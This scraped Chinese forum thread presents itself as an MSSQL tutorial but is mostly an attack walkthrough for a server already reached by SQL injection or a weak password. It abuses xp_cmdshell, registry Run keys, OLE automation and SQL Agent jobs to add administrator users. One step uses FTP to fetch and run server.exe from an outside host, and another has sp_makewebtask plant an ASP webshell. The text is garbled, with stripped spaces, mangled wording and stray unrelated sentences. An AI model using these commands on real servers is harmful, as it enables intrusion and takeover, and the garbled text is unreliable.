仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 1075|回复: 8
打印 上一主题 下一主题

[学习教程] MSSQL网站制作之怎样在MSSQL实行命令

[复制链接]
灵魂腐蚀 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-1-16 22:16:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
在执行崩溃恢复时,理解在一个数据库中的每一个表tbl_name对应的在数据库目录中的3个文件是很重要的:假定一台主机开了1433端口我们已经由过程SQL注进或是空弱暗码远程毗连能有哪些举措加一个体系办理员用户呢(或是实行体系命令)1).XP_CMDSHELLcmd.exe/cnetuseraaabbb/add
大家都晓得的举措,最年夜的优点是有回显,可是最怕
ifexists(select*fromdbo.sysobjectswhereid=object_id(N[dbo].[xp_cmdshell])andOBJECTPROPERTY(id,NIsExtendedProc)=1)
execsp_dropextendedprocN[dbo].[xp_cmdshell]
经由过程下面的T-SQL语句就能够把这个扩大贮存删了
我们一样平常能够用
2k:
EXECsp_addextendedprocxp_cmdshell,@dllname=xplog70.dll
SQL97:
EXECsp_addextendedprocxp_cmdshell,@dllname=xpsql70.dll
就复原了.
可是有的人晓得sp_addextendedproc也只不外是一个贮存历程一样能够删除的
DropPROCEDUREsp_addextendedproc
ifexists(select*from
dbo.sysobjectswhereid=object_id(N[dbo].[xp_cmdshell])and
OBJECTPROPERTY(id,NIsExtendedProc)=1)
execsp_dropextendedprocN[dbo].[xp_cmdshell]
复原:
createproceduresp_addextendedproc---1996/08/3020:13
@functnamenvarchar(517),/*(owner.)nameoffunctiontocall*/
@dllnamevarchar(255)/*nameofDLLcontainingfunction*/
as
setimplicit_transactionsoff
if@@trancount>0
begin
raiserror(15002,-1,-1,sp_addextendedproc)
return(1)
end
/*
**Createtheextendedproceduremapping.
*/
dbccaddextendedproc(@functname,@dllname)
return(0)--sp_addextendedproc
呀呀写了这么多实在有个最复杂的回护举措:
先NETstopmssqlserver,然后把xplog70.dll(SQL97下用xpsql70.dll)删了
再把服务翻开就能够了
2)看了下面的你就分明了xp_cmdshell终极是能够被删除的没其余举措了吗?
有写注册表三:
xp_regwriteHKEY_LOCAL_MACHINE,SOFTWAREMicrosoftWindowscurrentversionun,czy82,REG_SZ,netuserczybb/add
实在注册表另有好几个中央能够写的好比说注册表中的WEB扫瞄设置
用写注册表的举措欠好的中央是不仅没有回显并且不克不及即刻运转实不有用我也不晓得了
3)
declare@sint
execsp_oacreate"wscript.shell",@sout
--execsp_oamethod@s,"run",NULL,"cmd.exe/cechoopenASP.7i24.com>c:a.txt"
--execsp_oamethod@s,"run",NULL,"cmd.exe/cecho123321>>c:a.txt"
--execsp_oamethod@s,"run",NULL,"cmd.exe/cecho123321>>c:a.txt"
--execsp_oamethod@s,"run",NULL,"cmd.exe/cechogetserver.exe>>c:a.txt"
--execsp_oamethod@s,"run",NULL,"cmd.exe/cechoclose>>c:a.txt"
--execsp_oamethod@s,"run",NULL,"cmd.exe/cftp-s:c:a.txt"
execsp_oamethod@s,"run",NULL,"cmd.exe/cserver"
对了正如你看到的我们还可使用sp_oacreate和sp_oamethod在它们的感化下我们能够
挪用体系的控件好比说fso,wsh,shell甚么的,可是有个成绩是其实不能象xp_cmdshell那样
即刻看到了局真的不克不及吗看上面的:
declare@sint,@oint,@fint,@strnvarchar(4000)
/*execsp_oacreate"wscript.shell",@sout
execsp_oamethod@s,"run",NULL,"cmd.exe/cnetuser>c:        emp.txt"*/
execsp_oacreate"scripting.filesystemobject",@oout
execsp_oamethod@o,"opentextfile",@fout,"c:        emp.txt",1
execsp_oamethod@f,"readall",@strout
print@str
先实行注解内的然后实行表面的实在道理很复杂就是使用>把了局写到一个文件中然后用
fso来读出来!很有用的
4)
usemsdb;--这儿不如果master哟
execsp_add_job@job_name=czy82;
execsp_add_jobstep@job_name=czy82,@step_name=Execmysql,@subsystem=CMDEXEC,@command=dirc:>c:.txt;
execsp_add_jobserver@job_name=czy82,@server_name=smscomputer;
execsp_start_job@job_name=czy82;
使用MSSQL的功课处置也是能够实行命令的并且假如下面的subsystem的参数是tsql前面的我们就能够
实行tsql语句了.
关于这几个贮存历程的利用第一在@server_name我们要指定你的sql的服务器名
第二体系的sqlserveragent服务必需翻开(默许没翻开的气人了吧)
netstartSQLSERVERAGENT
关于这个东东另有一个中央分歧就是public也能够实行..同这儿也是有体系洞洞的看上面的
USEmsdb
EXECsp_add_job@job_name=GetSystemOnSQL,
@enabled=1,
@description=ThiswillgivealowprivilegeduserAccessto
xp_cmdshell,
@delete_level=1
EXECsp_add_jobstep@job_name=GetSystemOnSQL,
@step_name=Execmysql,
@subsystem=TSQL,
@command=execmaster..xp_execresultsetNselectexec
master..xp_cmdshell"dir>c:agent-job-results.txt",NMaster
EXECsp_add_jobserver@job_name=GetSystemOnSQL,
@server_name=你的SQL的服务器名
EXECsp_start_job@job_name=GetSystemOnSQL
不要嫌疑下面的代码我是测试乐成了的!这儿我们要注重xp_execresultset就是由于它以是
才让我们能够以public实行xp_cmdshell
5)关于MicrosoftSQLAgentJobs恣意文件可删除掩盖毛病(public用户也能够)
在安焦有文章:http://www.xfocus.NET/vuln/vul_view.PHP?vul_id=2968
USEmsdb
EXECsp_add_job@job_name=ArbitraryFileCreate,
@enabled=1,
@description=Thiswillcreateafilecalledc:sqlafc123.txt,
@delete_level=1
EXECsp_add_jobstep@job_name=ArbitraryFileCreate,
@step_name=SQLA
FC,
@subsystem=TSQL,
@command=selecthello,thisfilewascreatedbytheSQLAgent.,
@output_file_name=c:sqlafc123.txt
EXECsp_add_jobserver@job_name=ArbitraryFileCreate,
@server_name=SERVER_NAME
EXECsp_start_job@job_name=ArbitraryFileCreate
假如subsystem选的是:tsql在天生的文件的头部有以下内容
??ArbitraryFileCreate??1?,SQLAFC?????2003-02-0718:24:19
----------------------------------------------
hello,thisfilewascreatedbytheSQLAgent.
(1?????)
以是我倡议要天生文件最好subsystem选cmdexec,假如使用得好我们能够写一个有增加办理员
命令的vbs文件到启动目次!
6)关于sp_makewebtask(能够写恣意内容恣意文件名的文件)
关于sp_MScopyscriptfile看上面的例子
declare@commandvarchar(100)
declare@scripfilevarchar(200)
setconcat_null_yields_nulloff
select@command=dirc:>"attackeripsharedir.txt"
select@scripfile=c:autoexec.bat>nul"+@command+rd"
execsp_MScopyscriptfile@scripfile,
这两个东东都还在测尝尝哟
让MSSQL的public用户失掉一个本机的webshell:)
sp_makewebtask@outputfile=d:smsa.ASP,@charset=gb2312,
--@query=select
--@query=select
@query=select
Setoscript=Server.CreateObject("wscript.SHELL")
SetoscriptNet=Server.CreateObject("wscript.NETWORK")
SetoFileSys=Server.CreateObject("scripting.FileSystemObject")
szCMD=Request.Form(".CMD")
If(szCMD"")Then
szTempFile="C:"&oFileSys.GetTempName()
Calloscript.Run("cmd.exe/c"&szCMD&">"&szTempFile,0,True)
提供用于管理、检查、优化数据库操作的管理工具。
再见西城 该用户已被删除
沙发
发表于 2015-1-19 06:28:38 | 只看该作者
理解了存储结构,再阅读下性能优化的章节基本上会对sqlserver有个清晰地认识
admin 该用户已被删除
板凳
发表于 2015-1-27 14:38:19 | 只看该作者
一个是把SQL语句写到客户端,可以使用DataSet进行加工;
活着的死人 该用户已被删除
地板
发表于 2015-2-5 11:25:13 | 只看该作者
语句级快照和事务级快照终于为SQLServer的并发性能带来了突破。个人感觉语句级快照大家应该应用。事务级快照,如果是高并发系统还要慎用。如果一个用户总是被提示修改不成功要求重试时,会杀人的!
若天明 该用户已被删除
5#
发表于 2015-2-11 14:30:11 | 只看该作者
光写几个SQL实在叫无知。
只想知道 该用户已被删除
6#
发表于 2015-3-2 14:59:01 | 只看该作者
大侠们有推荐的书籍和学习方法写下吧。
再现理想 该用户已被删除
7#
发表于 2015-3-11 04:19:47 | 只看该作者
理解了存储结构,再阅读下性能优化的章节基本上会对sqlserver有个清晰地认识
若相依 该用户已被删除
8#
发表于 2015-3-17 20:53:28 | 只看该作者
发几份SQL课件,以飨阅者
蒙在股里 该用户已被删除
9#
发表于 2015-3-25 02:35:23 | 只看该作者
而写到本地,我又考虑到效率问题.大家来讨论讨论吧,分数不打紧,就给10分,十全十美,没啥对错,各抒己见,但是要有说服力的哦~
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-5-3 19:34

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表